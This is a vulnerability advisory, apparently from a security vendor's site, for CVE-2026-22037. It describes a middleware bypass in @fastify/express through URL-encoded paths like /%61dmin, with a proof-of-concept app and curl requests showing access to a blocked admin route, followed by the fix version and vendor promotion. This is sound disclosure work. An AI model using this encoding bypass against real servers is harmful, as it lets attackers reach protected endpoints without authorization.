Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.
Impact
CVE-2026-22037 has a CVSS score of 8.4 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-22037? CVE-2026-22037 is a high-severity security vulnerability in @fastify/express (npm), affecting versions <= 4.0.2. It is fixed in 4.0.3.
- How severe is CVE-2026-22037? CVE-2026-22037 has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @fastify/express are affected by CVE-2026-22037? @fastify/express (npm) versions <= 4.0.2 is affected.
- Is there a fix for CVE-2026-22037? Yes. CVE-2026-22037 is fixed in 4.0.3. Upgrade to this version or later.
- Is CVE-2026-22037 exploitable, and should I be worried? Whether CVE-2026-22037 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-22037 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-22037? Upgrade
@fastify/expressto 4.0.3 or later.